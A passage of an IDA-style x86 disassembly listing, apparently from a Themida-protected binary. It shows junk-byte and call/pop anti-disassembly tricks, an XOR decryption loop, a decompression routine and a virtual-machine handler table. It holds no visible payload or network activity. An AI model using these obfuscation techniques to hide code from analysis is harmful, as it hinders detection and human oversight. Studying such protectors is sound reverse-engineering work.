		xor	[edi], eax


loc_58539A:				; CODE XREF: sub_581EE9+3469j
		cmp	eax, 0
		jnz	loc_5854C7
		or	edx, 373B9970h
		cmp	dword ptr [ebp+6142BB9h], 0
		jz	loc_585401
		mov	edx, [ebp+6141999h]
		push	dword ptr [ebp+6142BB9h]
		mov	[ebp+6140759h],	esi
		mov	eax, 1
		push	0
		push	esi
		call	loc_5853D8
		and	[esi-3Dh], bl


loc_5853D8:				; CODE XREF: sub_581EE9+34E7p
		pop	esi
		mov	[esp-6EC0h+arg_6EBA+2],	esi
		add	[esp-6EC0h+arg_6EBA+2],	1Ah
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		dec	ebp
		mov	edx, 25B2D835h
		dec	edx
		mov	edx, 17CDF07Ah
		mov	bh, cl
		jmp	loc_5855FA
; ---------------------------------------------------------------------------
		add	edx, [ebp+6140645h]


loc_585401:				; CODE XREF: sub_581EE9+34C7j
		push	dword ptr [ebp+6140E49h]
		push	0
		push	edx
		call	loc_585412
		and	[edx-3Dh], bl


loc_585412:				; CODE XREF: sub_581EE9+3521p
		pop	edx
		mov	[esp-6EC0h+arg_6EBA+2],	edx
		add	[esp-6EC0h+arg_6EBA+2],	1Dh
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		dw 1409h
		dd offset dword_49005C+9A7Eh
; ---------------------------------------------------------------------------
		xor	eax, 6048CFB6h
		jmp	loc_585445
; ---------------------------------------------------------------------------
		dw 0E17Fh
		dd 0A4A2C0E6h, 299FA25Dh, 6B48032Fh, 0AE3DBFBBh
		db 0B2h
; ---------------------------------------------------------------------------


loc_585445:				; CODE XREF: sub_581EE9+3544j
		xor	[ebp+6140F1Dh],	edx
		popa
		sbb	dl, 4Fh
		push	dword ptr [ebp+6140E49h]
		push	0
		push	eax
		call	loc_585460
		and	[eax-3Dh], bl


loc_585460:				; CODE XREF: sub_581EE9+356Fp
		pop	eax
		mov	[esp-6EDAh+arg_6ED6], eax
		add	[esp-6EDAh+arg_6ED6], 1Dh
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		inc	esi
		retn	0BFADh
; ---------------------------------------------------------------------------
		aas
		retn
; ---------------------------------------------------------------------------
		pushfw
		mov	ah, 8Dh
		add	ebx, 4903A5AEh
		push	dword ptr [ebp+6141869h]
		push	0
		push	ebx
		call	loc_585491
		and	[ebx-3Dh], bl


loc_585491:				; CODE XREF: sub_581EE9+35A0p
		pop	ebx
		mov	[esp-6ED2h+arg_6ECE], ebx
		add	[esp-6ED2h+arg_6ECE], 1Ch
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 7Ch,	0EAh, 7Ch
; ---------------------------------------------------------------------------
		test	[ebx+76B90F53h], dh
		jmp	loc_5854C0
; ---------------------------------------------------------------------------
		db 50h
		dd 5EC271AFh, 0EC553BE8h, 670B1B2h, 1CCDADD8h
; ---------------------------------------------------------------------------


loc_5854C0:				; CODE XREF: sub_581EE9+35C1j
		jmp	loc_5855FA
; ---------------------------------------------------------------------------
		mov	bh, 0F2h


loc_5854C7:				; CODE XREF: sub_581EE9+34B4j
		pop	edi
		sub	[ebp+6140031h],	ebx
		cmp	dword ptr [ebp+61424DDh], 0
		jnz	loc_585558
		or	bl, 6Dh
		mov	byte ptr [ebp+6140849h], 4Dh
		or	edx, [ebp+61409E5h]
		push	5225D6B8h
		mov	bl, dl
		add	[esp-6EC2h+arg_6EBA], 520F9FF0h
		mov	edx, [ebp+6141979h]
		push	dword ptr [ebp+6142965h]
		jmp	loc_585513
; ---------------------------------------------------------------------------
		dw 56BAh
		dd 0CEAB7E43h
		db 2 dup(9Ch), 0Ah
; ---------------------------------------------------------------------------


loc_585513:				; CODE XREF: sub_581EE9+361Cj
		lea	eax, [ebp+6143B4Eh]
		jnz	loc_585522
		movsx	ebx, si


loc_585522:				; CODE XREF: sub_581EE9+3630j
		call	eax
		movzx	edx, si
		mov	[ebp+61424DDh],	eax
		push	0
		push	edi
		call	loc_585538
		and	[edi-3Dh], bl


loc_585538:				; CODE XREF: sub_581EE9+3647p
		pop	edi
		mov	[esp-6EC0h+arg_6EBA+2],	edi
		add	[esp-6EC0h+arg_6EBA+2],	1Dh
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		xor	bl, dh
		xor	al, 3Bh
		rcl	dword ptr ds:0AE667501h, 81h
		retf	72B5h
; ---------------------------------------------------------------------------
		dw 36E0h
; ---------------------------------------------------------------------------


loc_585558:				; CODE XREF: sub_581EE9+35ECj
		mov	eax, 0
		push	0
		push	esi
		call	loc_585568
		and	[esi-3Dh], bl


loc_585568:				; CODE XREF: sub_581EE9+3677p
		pop	esi
		mov	[esp-6EC8h+arg_6EC2+2],	esi
		add	[esp-6EC8h+arg_6EC2+2],	19h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		dd 798EC618h, 0E2810F0Fh, 75E70F60h, 4D9DBD89h,	958B0614h
		dd 614094Dh, 840FC00Bh,	40h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0CDC35141h,	4D852934h, 6006142Eh
		dd 0AD958B57h, 58061401h, 0AF8BF281h, 8B614323h, 141CE995h
		dd 24E906h, 12B30000h, 1869B5FFh, 81660614h, 8DED3AE3h
		dd 16A07D85h, 49958B06h, 9006140Dh, 0B7505A50h,	0BA66907Dh
		db 0BEh, 96h
; ---------------------------------------------------------------------------


loc_5855FA:				; CODE XREF: sub_581EE9+350Dj
					; sub_581EE9:loc_5854C0j
		push	eax
		push	esi
		lea	edi, [ebp+614548Fh]
		lea	ecx, [ebp+6147A73h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_58560F:				; CODE XREF: sub_581EE9+372Cj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_58560F
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+6142BB9h], 0
		jz	short loc_585628
		mov	ecx, [ebp+6141F0Dh]


loc_585628:				; CODE XREF: sub_581EE9+3737j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_5856DF
		cmp	dword ptr [ebp+6141B19h], 0
		jz	short loc_585646
		call	dword ptr [ebp+61403FDh]


loc_585646:				; CODE XREF: sub_581EE9+3755j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_585658
		cmp	dword ptr [ebp+6144DA5h], 1
		jz	short loc_585661


loc_585658:				; CODE XREF: sub_581EE9+3764j
		cmp	dword ptr [ebp+6144DA5h], 2
		jnz	short loc_58566F


loc_585661:				; CODE XREF: sub_581EE9+376Dj
		mov	esi, [ebp+6144D9Dh]
		lea	eax, [ebp+616A07Dh]
		call	eax


loc_58566F:				; CODE XREF: sub_581EE9+3776j
		cmp	dword ptr [ebp+6140F89h], 0
		jz	short loc_58567E
		call	dword ptr [ebp+6141B25h]


loc_58567E:				; CODE XREF: sub_581EE9+378Dj
		lea	eax, [ebp+61443B1h]
		call	eax
		cmp	dword ptr [ebp+61409B1h], 2
		jnz	short loc_5856BE
		mov	esp, [ebp+6140C55h]
		mov	eax, [ebp+6142BB9h]
		mov	[esp-6EBCh+arg_6EB2+2],	eax
		mov	dword ptr [ebp+61400D9h], 1
		mov	esi, [ebp+6144DA1h]
		mov	ebp, [ebp+614268Dh]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_5856BE:				; CODE XREF: sub_581EE9+37A4j
		mov	dword ptr [ebp+61400D9h], 1
		mov	esp, [ebp+6140C55h]
		mov	esi, [ebp+6141605h]
		mov	ebp, [ebp+614268Dh]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5856DF:				; CODE XREF: sub_581EE9+3748j
		cmp	dword ptr [ebp+6140F89h], 0
		jz	short loc_5856F7
		cmp	dword ptr [ebp+6141B25h], 0
		jz	short loc_5856F7
		call	dword ptr [ebp+6141B25h]


loc_5856F7:				; CODE XREF: sub_581EE9+37FDj
					; sub_581EE9+3806j
		mov	esi, [ebp+6144D9Dh]
		retn
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+61412E9h]
		push	0
		push	ecx
		call	loc_58570F
		and	[ecx-3Dh], bl


loc_58570F:				; CODE XREF: sub_581EE9+381Ep
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 1Ah
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 9
; ---------------------------------------------------------------------------
		or	[ebp+esi+669BB94Ah], edi
		mov	edx, 0D22B32E2h
		push	0
		push	eax
		call	loc_585737
		and	[eax-3Dh], bl


loc_585737:				; CODE XREF: sub_581EE9+3846p
		pop	eax
		mov	[esp-6EBCh+arg_6EB6+2],	eax
		add	[esp-6EBCh+arg_6EB6+2],	14h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------
		jbe	loc_585750
		mov	ebx, edi


loc_585750:				; CODE XREF: sub_581EE9+385Fj
		sub	[ebp+61434F1h],	edx
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_585766
; ---------------------------------------------------------------------------


loc_585764:				; CODE XREF: sub_581EE9+3880j
		inc	eax
		inc	edi


loc_585766:				; CODE XREF: sub_581EE9+3879j
		cmp	byte ptr [edi],	0
		jnz	short loc_585764
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_585795
; ---------------------------------------------------------------------------


loc_585772:				; CODE XREF: sub_581EE9+38AEj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_58578A
; ---------------------------------------------------------------------------


loc_585787:				; CODE XREF: sub_581EE9+38A4j
		mul	ebx
		dec	esi


loc_58578A:				; CODE XREF: sub_581EE9+389Cj
		cmp	esi, 0
		ja	short loc_585787
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_585795:				; CODE XREF: sub_581EE9+3887j
		or	eax, eax
		jnz	short loc_585772
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	loc_5857AE
		and	[ebx-3Dh], bl


loc_5857AE:				; CODE XREF: sub_581EE9+38BDp
		pop	ebx
		mov	[esp-6EBAh+arg_6EB6], ebx
		add	[esp-6EBAh+arg_6EB6], 1Dh
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		dw 679Bh
		dd 86D45A8Fh, 0A2CE597Ah, 158D01h, 0F08A0614h, 359D8B60h
		dd 2906142Ch, 141B3D95h
; ---------------------------------------------------------------------------
		push	es
		popa


loc_5857DE:				; CODE XREF: sub_581EE9:loc_582994j
		mov	eax, ecx
		jmp	loc_585992
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp-6EB2h+arg_6ECE]
		mov	edi, [esp-6EB2h+arg_6ED2]
		cld
		mov	dl, 80h


loc_5857F1:				; CODE XREF: sub_581EE9:loc_585809j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_5857FC:				; CODE XREF: sub_581EE9+399Ej
					; sub_581EE9+3A06j ...
		add	dl, dl
		jnz	loc_585809
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_585809:				; CODE XREF: sub_581EE9+3915j
		jnb	loc_5857F1
		add	dl, dl
		jnz	loc_58581C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58581C:				; CODE XREF: sub_581EE9+3928j
		jnb	loc_58588C
		xor	eax, eax
		add	dl, dl
		jnz	loc_585831
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_585831:				; CODE XREF: sub_581EE9+393Dj
		jnb	loc_585961
		add	dl, dl
		jnz	loc_585844
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_585844:				; CODE XREF: sub_581EE9+3950j
		adc	eax, eax
		add	dl, dl
		jnz	loc_585853
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_585853:				; CODE XREF: sub_581EE9+395Fj
		adc	eax, eax
		add	dl, dl
		jnz	loc_585862
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_585862:				; CODE XREF: sub_581EE9+396Ej
		adc	eax, eax
		add	dl, dl
		jnz	loc_585871
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_585871:				; CODE XREF: sub_581EE9+397Dj
		adc	eax, eax
		jz	loc_58587F
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_58587F:				; CODE XREF: sub_581EE9+398Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_5857FC
; ---------------------------------------------------------------------------


loc_58588C:				; CODE XREF: sub_581EE9:loc_58581Cj
		mov	eax, 1


loc_585891:				; CODE XREF: sub_581EE9:loc_5858ADj
		add	dl, dl
		jnz	loc_58589E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58589E:				; CODE XREF: sub_581EE9+39AAj
		adc	eax, eax
		add	dl, dl
		jnz	loc_5858AD
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5858AD:				; CODE XREF: sub_581EE9+39B9j
		jb	loc_585891
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_5858F4
		mov	ecx, 1


loc_5858C5:				; CODE XREF: sub_581EE9:loc_5858E1j
		add	dl, dl
		jnz	loc_5858D2
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5858D2:				; CODE XREF: sub_581EE9+39DEj
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_5858E1
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5858E1:				; CODE XREF: sub_581EE9+39EDj
		jb	loc_5858C5
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_5857FC
; ---------------------------------------------------------------------------


loc_5858F4:				; CODE XREF: sub_581EE9+39D1j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_585902:				; CODE XREF: sub_581EE9:loc_58591Ej
		add	dl, dl
		jnz	loc_58590F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58590F:				; CODE XREF: sub_581EE9+3A1Bj
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58591E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58591E:				; CODE XREF: sub_581EE9+3A2Aj
		jb	loc_585902
		cmp	eax, 7D00h
		jnb	loc_585951
		cmp	eax, 500h
		jb	loc_585948
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_5857FC
; ---------------------------------------------------------------------------


loc_585948:				; CODE XREF: sub_581EE9+3A4Bj
		cmp	eax, 7Fh
		ja	loc_585954


loc_585951:				; CODE XREF: sub_581EE9+3A40j
		add	ecx, 2


loc_585954:				; CODE XREF: sub_581EE9+3A62j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_5857FC
; ---------------------------------------------------------------------------


loc_585961:				; CODE XREF: sub_581EE9:loc_585831j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_585986
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_5857FC
; ---------------------------------------------------------------------------


loc_585986:				; CODE XREF: sub_581EE9+3A80j
		sub	edi, [esp-6EB2h+arg_6ED2]
		mov	[esp-6EB2h+arg_6EC6], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_585992:				; CODE XREF: sub_581EE9+38F7j
		mov	edx, 929h
		jmp	loc_5A71D3
; ---------------------------------------------------------------------------
		dd 26D001Bh, 12FEF4h, 2	dup(5FEBD8h), 26D0023h,	0
		dd offset loc_5FD1BE
		dd 206h, 2, 1, 3, 0FA43DB9Ch, 5	dup(0)
		dd offset loc_586429
		dd offset loc_58A002
		dd offset loc_5899B8
		dd offset loc_58C70B
; ---------------------------------------------------------------------------
		retn	58C9h
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_5899F3
		dd offset loc_58E562
		dd offset loc_58ED12
		dd offset loc_5912BC
		dd offset loc_58E6F6
		dd offset loc_58FB9A
		dd offset loc_586936
		dd offset loc_5908CC
		dd offset loc_58E3B9
		dd offset loc_5862F0
		dd offset loc_589F99
		dd offset loc_58A40D
		dd offset loc_58E457
; ---------------------------------------------------------------------------
		mov	eax, ds:760058D1h
		mov	ah, 58h
		add	ds:440058E9h, cl
		xchg	eax, edx
		pop	eax
		add	[esi], ch
		push	58h
		add	[edi-0BFFA730h], cl
		mov	byte ptr [eax+0], 3Fh
		mov	eax, 95F90058h
		pop	eax
		add	[ebx], ch
		mov	esi, 84420058h
		pop	eax
		add	[ecx+7Fh], bh
		pop	eax
		add	[edi+6], al
		pop	ecx
		add	[ecx], al
		mov	ah, 58h
		add	ds:56005887h, cl
		xchg	ebx, [eax+0]
		pop	es
		mov	ds:1F20058h, eax
		pop	ecx
		add	dl, ah
		imul	ebx, [eax+0], 46h
		mov	cl, 58h
		add	dh, dh
		lodsb
		pop	eax
		add	[ebx+74h], ah
		pop	eax
		add	al, dh
		popf
		pop	eax
		add	[esi+eax*8+58h], cl
		add	[eax+6B0058A3h], cl
		retn
; ---------------------------------------------------------------------------
		dw 58h
		dd offset loc_58D73E
		dd offset loc_58A312
		dd offset loc_58F7F2
		dd offset loc_587F2A
		dd offset loc_586D52
		dd offset loc_58876B
		dd offset loc_58F236
		dd offset loc_586F41
		dd offset loc_5905C0
		dd offset loc_590605
		dd offset loc_58D3A4
		dd offset loc_58CBC0
		dd offset loc_587954
		dd offset loc_589342
		dd offset loc_585EA1
		dd offset loc_58841D
		dd offset loc_58C736
		dd offset loc_58BB90
		dd offset loc_588CFD
		dd offset loc_58F2C5
		dd offset loc_590BE1
		dd offset loc_58DC22
		dd offset loc_58D3FE
		dd offset loc_58A08D
		dd offset loc_58D0E7
		dd offset loc_58DDA0
		dd offset loc_58708A
		dd offset loc_58E9EC
		dd offset loc_58ADE3
		dd offset loc_58AA45
		dd offset loc_5873A5
		dd offset loc_58B4A2
		dd offset loc_586E14
		dd offset loc_58D277
		dd offset loc_58835F
		dd offset loc_588D54
		dd offset loc_5902DB
		dd offset loc_58D24B
		dd offset off_590413
		dd offset loc_58B02E
		dd offset loc_588195
		dd offset loc_58BE40
		dd offset loc_588B7D
		dd offset loc_586BFC
		dd offset loc_586686
		dd offset loc_58706F
		dd offset loc_58CEE4
		dd offset loc_589566
		dd offset loc_5865EE
		dd offset loc_58B2E9
		dd offset loc_585D46
		dd offset loc_590CEA
		dd offset loc_587FD2
		dd offset loc_58CDE1
		dd offset loc_58ECA2
		dd offset loc_586DF6
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 61h,	58h, 0
		dd offset loc_58D31E
		dd offset loc_5883DC
		dd offset loc_58BCAF
		dd offset loc_58AC39
		dd offset loc_59060D
		dd offset loc_5912B2
		dd offset loc_58E1EA
		dd offset loc_5875EC
		dd offset loc_58C63B
		dd offset loc_590B6F
		dd offset loc_58C3BC
		dd offset loc_58BA9A
		dd offset loc_58C07A
		dd offset loc_587DF1
		dd offset loc_5869D6
		dd offset loc_586C41
		dd offset loc_589164
		dd offset loc_586C8E
		dd offset loc_58C0B3
		dd offset loc_588066
		dd offset loc_58BA60
		dd offset loc_58C200
		dd offset loc_58F224
		dd offset loc_588D4C
		dd offset loc_58F4C7
		dd offset loc_589F00
		dd offset loc_58966F
		dd offset loc_586B64
		dd offset loc_58E13F
		dd offset loc_58AC7D
		dd offset loc_58920F
		dd offset loc_58D9FA
		dd offset loc_58FF37
		dd offset loc_58C1A7
		dd offset loc_58DAFC
		dd offset loc_588BDA
		dd offset loc_58C41D
		dd offset loc_58774C
		dd offset loc_58F2F1
		dd offset loc_590976
		dd offset loc_591315
		dd offset loc_587486
		dd offset loc_5870F8
		dd offset loc_58D671
		dd offset loc_58FE87
		dd offset loc_586BBD
		dd offset loc_588F3A
		dd offset loc_58D164
		dd offset loc_589355
		dd offset loc_58B4BC
		dd offset loc_58A6F0
		dd offset loc_58F59C
		dd offset loc_58D1D0
		dd offset loc_59097F
		dd offset loc_589DFE
		dd offset loc_58807B
		dd offset loc_5899FC
		dd offset dword_587C00
		dd offset loc_58D8F4
		dd offset loc_589F6D
		dd offset loc_5871D3
		dd offset loc_58C86B
		dd offset loc_58E28C
		dd offset loc_58CF14
		dd offset loc_585FD1
		dd offset loc_590184
; ---------------------------------------------------------------------------


loc_585C7C:				; CODE XREF: Themida_:005B1D51j
					; Themida_:005B1DCEj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61480E8h
		mov	eax, edi
		add	edi, 6147E00h
		cmp	eax, [edi+2Ch]
		jnz	short loc_585C9A
		jmp	short loc_585CAD
; ---------------------------------------------------------------------------


loc_585C9A:				; CODE XREF: sub_581EE9+3DADj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_585CA9
; ---------------------------------------------------------------------------


loc_585CA4:				; CODE XREF: sub_581EE9+3DC2j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_585CA9:				; CODE XREF: sub_581EE9+3DB9j
		or	ecx, ecx
		jnz	short loc_585CA4


loc_585CAD:				; CODE XREF: sub_581EE9+3DAFj
		mov	esi, [esp-6ED6h+arg_6EF0+2]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_585CBA:				; CODE XREF: sub_581EE9+3DD8j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_585CBA


loc_585CC3:				; CODE XREF: sub_581EE9+3E12j
					; sub_581EE9+3EFEj ...
		lodsb
		jmp	loc_590F05
; ---------------------------------------------------------------------------


loc_585CC9:				; CODE XREF: sub_581EE9+777Aj
		mov	[esp-6ED6h+arg_6ECE], edi
		mov	edi, 4
		jmp	loc_58ECF6
; ---------------------------------------------------------------------------


loc_585CD6:				; CODE XREF: sub_581EE9+5A45j
		push	ebx
		mov	ebx, 4
		sub	esi, 481E517Ch
		add	esi, ebx
		add	esi, 481E517Ch
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp-6ED6h+arg_6ECE]
		mov	esp, [esp-6ED6h+arg_6ECE]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_585D00:				; CODE XREF: sub_581EE9+8AC0j
		mov	[esp-6ECEh+arg_6EC6], ebp
		jmp	loc_58AC11
; ---------------------------------------------------------------------------


loc_585D08:				; CODE XREF: sub_581EE9+CD13j
		and	eax, 55F20B65h
		jmp	loc_587275
; ---------------------------------------------------------------------------


loc_585D12:				; CODE XREF: sub_581EE9+59FCj
		mov	edx, [esp-6ECEh+arg_6EC6]
		add	esp, 4
		jmp	loc_58747E
; ---------------------------------------------------------------------------


loc_585D20:				; CODE XREF: sub_581EE9+E514j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	edx, [esp-6ED6h+arg_6ECE]
		jmp	loc_58F703
; ---------------------------------------------------------------------------


loc_585D2F:				; CODE XREF: sub_581EE9+6C75j
		add	esp, 4
		push	esi
		jmp	loc_587FC9
; ---------------------------------------------------------------------------


loc_585D3B:				; CODE XREF: sub_581EE9+8C8Cj
		mov	edi, 40515A62h
		dec	edi
		jmp	loc_588340
; ---------------------------------------------------------------------------


loc_585D46:				; DATA XREF: sub_581EE9+3C6Fo
		lodsb
		push	dx
		jmp	loc_5884CA
; ---------------------------------------------------------------------------


loc_585D4E:				; CODE XREF: sub_581EE9+C5E4j
		add	[esp-6ED4h+arg_6ECA+2],	4
		pop	ebx
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_58E46A
; ---------------------------------------------------------------------------


loc_585D66:				; CODE XREF: sub_581EE9+8F95j
		pop	eax
		add	edi, 2C9B4C0Ah
		or	edi, 5F876A3h
		sub	edi, 38ED0799h
		push	33A1h
		jmp	loc_590497
; ---------------------------------------------------------------------------


loc_585D83:				; CODE XREF: sub_581EE9+CDD4j
		shl	esi, 1
		dec	esi
		sub	esi, 7A0E4AFDh
		mov	ecx, esi
		pop	esi
		add	edi, 7DA64E9Dh
		jmp	loc_5889E1
; ---------------------------------------------------------------------------


loc_585D9A:				; CODE XREF: sub_581EE9+A0A7j
		add	ebp, 4
		xor	ebp, [esp-6ED8h+arg_6ECE+2]
		xor	[esp-6ED8h+arg_6ECE+2],	ebp
		xor	ebp, [esp-6ED8h+arg_6ECE+2]
		mov	esp, [esp-6ED8h+arg_6ECE+2]
		xor	ecx, 33D57A2Eh
		push	23C4h
		mov	[esp-6ED4h+arg_6ECA+2],	esi
		push	ecx
		push	esi
		mov	esi, 55570338h
		mov	ecx, esi
		pop	esi
		inc	ecx
		jmp	loc_58DE83
; ---------------------------------------------------------------------------


loc_585DC7:				; CODE XREF: sub_581EE9+D230j
		mov	ecx, 67DC6E0Bh
		push	ebp
		mov	ebp, 3A8C45B6h
		or	ebp, 7D1C3F46h
		add	ebp, 8215FC3Bh
		add	ecx, ebp
		pop	ebp
		jmp	loc_590840
; ---------------------------------------------------------------------------


loc_585DE6:				; CODE XREF: sub_581EE9+67DAj
		pop	esp
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_585DEC:				; CODE XREF: sub_581EE9+48B8j
		pop	[esp-6ED4h+arg_6ECA+2]
		mov	esp, [esp-6ED8h+arg_6ECE+2]
		jmp	loc_587D74
; ---------------------------------------------------------------------------


loc_585DF7:				; CODE XREF: sub_581EE9+E66Cj
		mov	esi, ebp
		pop	ebp
		push	edx
		jmp	loc_58C44F
; ---------------------------------------------------------------------------


loc_585E00:				; CODE XREF: sub_581EE9+E1F4j
		dec	word ptr [esp-6ED8h+arg_6ECE+2]
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_585E0A:				; CODE XREF: sub_581EE9+9C2Aj
		pop	esi
		add	ecx, eax
		pop	eax
		jmp	loc_5884AB
; ---------------------------------------------------------------------------


loc_585E13:				; CODE XREF: sub_581EE9+A4BDj
		push	ebx
		mov	ebx, 635F264Ah
		dec	ebx
		push	edi
		mov	edi, 7F6C64FAh
		jmp	loc_58C68D
; ---------------------------------------------------------------------------


loc_585E25:				; CODE XREF: sub_581EE9+5387j
		xchg	edi, [esp-6ED4h+arg_6ECA+2]
		pop	esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	eax
		jmp	loc_589FE0
; ---------------------------------------------------------------------------


loc_585E38:				; CODE XREF: sub_581EE9+E648j
		push	[esp-6ED4h+arg_6ECA+2]
		push	[esp-6ED0h+arg_6EC6+2]
		mov	eax, [esp-6ECCh+arg_6EC2+2]
		add	esp, 4
		push	53Eh
		jmp	loc_58EB0D
; ---------------------------------------------------------------------------


loc_585E4E:				; CODE XREF: sub_581EE9+D7CFj
		sub	bl, ah
		add	bl, 0AAh
		jmp	loc_58DDBF
; ---------------------------------------------------------------------------


loc_585E58:				; CODE XREF: sub_581EE9+730Fj
		pop	dword ptr [esp]
		pop	esp
		mov	dx, word ptr [esp-6ED4h+arg_6ECA+2]
		jmp	loc_58A148
; ---------------------------------------------------------------------------


loc_585E65:				; CODE XREF: sub_581EE9+4159j
		div	ecx
		jmp	loc_587E9F
; ---------------------------------------------------------------------------


loc_585E6C:				; CODE XREF: sub_581EE9+DA88j
		pop	edi
		xor	edi, 40C16F3Fh
		mov	ebp, edi
		jmp	loc_58EE72
; ---------------------------------------------------------------------------


loc_585E7A:				; CODE XREF: sub_581EE9+F64Ej
		mov	eax, 4F2B2606h
		add	ebx, 5A03433Dh
		sub	ebx, eax
		sub	ebx, 5A03433Dh
		pop	eax
		and	eax, ebx
		mov	ebx, [esp-6EDCh+arg_6ED2+2]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 65296E78h
		jmp	loc_58D242
; ---------------------------------------------------------------------------


loc_585EA1:				; DATA XREF: sub_581EE9+3BDFo
		mov	cx, word ptr [esp-6ED4h+arg_6ECA+2]
		sub	esp, 4
		mov	[esp-6ED0h+arg_6EC6+2],	ebp
		push	63E5h
		mov	[esp], esp
		jmp	loc_58CAAC
; ---------------------------------------------------------------------------


loc_585EB8:				; CODE XREF: sub_581EE9+92E7j
		push	ebp
		push	esp
		jmp	loc_588333
; ---------------------------------------------------------------------------


loc_585EBF:				; CODE XREF: sub_581EE9+941Dj
		mov	esi, 4
		sub	edi, 52E0184Eh
		add	edi, esi
		push	eax
		mov	eax, 6EEE6C94h
		sub	eax, 77D624F8h
		add	eax, 474E7EBCh
		inc	eax
		xor	eax, 1F69448Eh
		xor	eax, 73EF9A99h
		add	edi, eax
		jmp	loc_589B91
; ---------------------------------------------------------------------------


loc_585EEE:				; CODE XREF: sub_581EE9+8B87j
		xor	ebx, [esp-6EC0h+arg_6EB6+2]
		jmp	loc_58C09C
; ---------------------------------------------------------------------------


loc_585EF6:				; CODE XREF: sub_581EE9+4306j
		pop	ebp
		xchg	esi, [esp-6EC4h+arg_6EBA+2]
		pop	esp
		jmp	loc_58C340
; ---------------------------------------------------------------------------


loc_585F00:				; CODE XREF: sub_581EE9+BF95j
		mov	[esp-6EC8h+arg_6EBE+2],	ebp
		push	32D05DDBh
		jmp	loc_58E1A7
; ---------------------------------------------------------------------------


loc_585F0D:				; CODE XREF: sub_581EE9+F8FEj
		mov	esi, [esp-6EC4h+arg_6EBA+2]
		add	esp, 4
